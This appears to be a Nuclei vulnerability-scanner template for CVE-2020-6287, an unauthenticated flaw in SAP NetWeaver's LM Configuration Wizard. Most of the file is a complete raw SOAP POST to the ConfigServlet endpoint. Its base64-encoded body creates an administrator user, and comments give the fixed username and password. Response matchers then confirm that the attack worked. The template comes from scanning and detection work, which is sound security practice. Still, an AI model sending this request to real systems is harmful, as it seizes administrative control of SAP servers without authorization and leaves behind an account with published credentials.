49 lines
3.6 KiB
YAML
49 lines
3.6 KiB
YAML
id: CVE-2020-6287
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info:
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name: SAP NetWeaver - Remote Admin addition
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author: dwisiswant0
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severity: critical
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tags: cve,cve2020,sap
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description: |
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SAP NetWeaver AS JAVA (LM Configuration Wizard), versions - 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to Missing Authentication Check.
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reference:
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- https://launchpad.support.sap.com/#/notes/2934135
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- https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
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- https://www.onapsis.com/recon-sap-cyber-security-vulnerability
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- https://github.com/chipik/SAP_RECON
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requests:
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- raw:
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- |
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POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/xml; charset=UTF-8
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Connection: close
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
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CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
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</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
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# userName - sapRpoc6351
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# password - Secure!PwD8890
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "CTCWebServiceSi"
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- "SOAP-ENV"
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part: body
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condition: and
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- type: status
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status:
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- 200
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- type: word
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words:
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- "text/xml"
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- "SAP NetWeaver Application Server"
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part: header
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